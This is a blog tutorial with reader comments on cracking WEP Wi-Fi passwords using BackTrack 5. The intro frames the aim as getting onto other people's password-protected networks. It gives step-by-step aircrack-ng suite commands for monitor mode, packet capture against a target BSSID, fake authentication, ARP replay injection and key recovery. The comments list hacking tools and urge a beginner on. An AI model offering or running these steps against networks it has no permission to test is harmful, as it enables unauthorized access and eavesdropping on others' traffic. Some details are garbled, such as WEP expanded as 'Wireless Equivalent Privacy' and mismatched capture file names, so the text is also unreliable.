HOW TO CRACK WEP WIFI PASSWORD USING BACKTRACK5

wifi_logo

In present  world we all are deal with modern technology , Wifi is also one of them.  Every  where  Wifi connection are available  from school, college to Office even at our home also, but at a same time we all are facing with one of the  problem i.e every Wifi is password protected, and we are unable to use all wifi. We can use only those wifi whose connection is open or whose password we know it. So don’t worry my friends I will show you how to crack the WEP wifi password using Backtrack 5.

First of all I want to say what is WEP Cracking…

WEP  Cracking

WEP stands for Wireless Equivalent Privacy.

In WEP Cracking first all the hacker needs to capture sample packets not intended for his own network interface and then run crack program to compare testing keys against WEP key bundled with captured packets in attempt of decryption. After that the hacker found the key the he decrypted the key using decrypted tools.

 

Now follows these steps to crack the WEP Wifi key…

Step 1 :- Turn on Monitor Mode

airmon-ng

 airmon-ng start wlan0

wep

 Step 2 :-  airodump-ng mon0

wep0

wep1

 Step 3 :-   airodump-ng -w twan –c 11 –bssid C8:3A:35:2F:E7:30 mon0

 

wep2

 

Step 4 :- aireplay-ng -1 0 –a C8:3A:35:2F:E7:30 mon0

wep3

 

Step 5 :- aireplay-ng -3 –b C8:3A:35:2F:E7:30 mon0

 

wep4

As a last step we crack WEP key by using captured packets and aircrack-ng command. All captured packets are now stored in twan=02.cap file.

NOTE: Do not stop capturing process as you do not know if current amount of captured packed is satisfactory to crack WEP key.

 Step 6 :-  aircrack-ng twan-02.cap

wep5

Step 7 :- Finally we found the Key…

wep6

 

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9 Responses to HOW TO CRACK WEP WIFI PASSWORD USING BACKTRACK5

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  2. sib says:

    bro never mind, i m a newbie. i dont know how to start. will u please tell me about the basic tools for using backtrack for hacking wifi pswds etc.
    as i have a laptop, backtrack, internet connection.
    is there any thing else????
    kindly guide me bro.

    • sib first of all the backtrack free security audit toolkit comprised of hundreds of open-source security tools used by both security professionals as well as hackers. it aimed is at digital forensics and penetration testing use..
      BackTrack includes many well known security tools including:
      Metasploit for integration
      Wi-Fi drivers supporting monitor mode (rfmon mode) and packet injection
      Aircrack-ng
      Gerix Wifi Cracker
      Kismet
      Nmap
      Ophcrack
      Ettercap
      Wireshark (formerly known as Ethereal)
      BeEF (Browser Exploitation Framework)
      Hydra

      by using these tools you start hacking you take the help of google to learn more about these tool and regularly view all the tutorial of ways2hack.com

  3. Sib says:

    thnx bro.
    it helped me alot.
    i have already added this site to my favorites.
    and sooner or later, will surely try to come back to you with a new problem to be solved here. :)
    stay blessed.

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  5. Best put up. I appear ahead to reading through more. Cheers

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